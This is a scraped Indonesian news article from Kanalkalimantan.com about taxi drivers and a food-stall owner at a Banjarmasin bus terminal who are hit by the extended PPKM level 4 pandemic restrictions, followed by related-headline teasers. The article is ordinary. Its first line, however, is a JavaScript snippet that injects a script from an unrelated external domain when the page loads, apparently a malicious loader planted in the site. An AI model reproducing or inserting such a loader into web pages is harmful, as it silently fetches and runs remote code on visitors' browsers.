(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN- Langkah Pemko Banjarmasin memperpanjang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4, hingga 9 Agustus mendatang membuat Supri (55) lemas!
Pria yang berprofesi sebagai sopir taxi angkot tujuan Banjarmasin-Batulicin ini semakin tak berkutik dengan perpanjangan pemberlakuan PPKM. Walhasil, yang dilakukan hanya bisa menunggu di tempatnya mangkal di Terminal Pal 6 Banjarmasin sambil menunggu kondisi lebih longgar.
Suasana lengang di Terminal Induk Km 6 Banjarmasin. Foto: chandra
Kepada Kanalkalimantan.com yang menemuinya di lokasi terminal, Supri mengatakan tak berani pulang ke rumah karena tak membawa hasil apa-apa.
“Sudah empat hari ini saya tidur di angkot, karena untuk pulang juga gak ada pemasukan dari penumpang,†ujar pria yang sudah 31 tahun menjadi sopir taxi sejak tahun 1990 ini.
Baca juga:Â Pelaku Pembunuhan Perawat RSD Idaman Dibekuk, Dihabisi Hartanya Diambil
Gara-gara harus menginap di terminal, maka otomatis utang pada pemilik warung pun semakin menumpuk.
“Gimana lagi, utang di warung bertambah. Saat ini penumpang belum berani naik taxi karena masih ada ketakutan akan Covid-19 saat ini,†terangnya.
Supri menceritakan, pendapatan sebagai sopir taxi angkot antar kabupaten turun drastis selama pandemi. Dua tahun lalu, masih banyak penumpang yang pergi ke luar daerah. Tapi saat ini hampir tidak ada.
“Bahkan sering kosong tanpa penumpang,†ungkapnya.
Supri yang memiliki empat anak dan lima cucu ini, hingga kini masih mengontrak. Tapi ia masih bersyukur, karena anak-anaknya ikut membantu meringankan beban keluarga.
“Harapan saya sudah tidak ada lagi pandemi ini, sehingga hidup bisa berjalan normal lagi seperti dulu,†harapnya.
Tak berbeda dengan nasib Supri, hal sama juga dialami oleh Mijanudin (60). Sopir taxi jurusan Banjarmasin-Sungai Danau ini, sering mengandalkan utang ke tetangga untuk menyambung hidup saat pandemi.
“Angkutan sangat susah. Pemumpang tidak berani naik taxi karena takut Covid-19. Di sisi lain, kami sebagai sopir gak pernah tersentuh bantuan dari pemerintah,†keluh pria yang sudah 40 tahun menjalani profesi sebagai sopir ini.
Saat ini ada 35 taxi yang beroperasi di pal 6 Banjarmasin. Semua mengalami kondisi sama.
“Bahkan sejak 2 minggu ini sudah tidak ada penumpang,†tegasnya.
Baca juga:Â SAH. KPU Kalsel Akhirnya Tetapkan Sahbirin-Muhidin Pemenang Pilkada 2020!
Sementara itu, pedagang warung di sekitar terminal pal 6, Hj Nurhalidah (61) saat ditemui juga merasakan dampak dari PPKM level 4. Dua pekan ini tak ada penumpang sehingga tak ada yang berbelanja di warungnya selain para sopir.
“Bantuan untuk pedagang kecil sudah saya daftarkan dan sudah di tanyakan ke kelurahan setempat akan tetapi masih belum ada bantuan sudah hampir satu bulan saya mengajukan bantuan dari pemerintah,†ujarnya. (kanalkalimantan.com/chandra)
Reporter: chandra
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.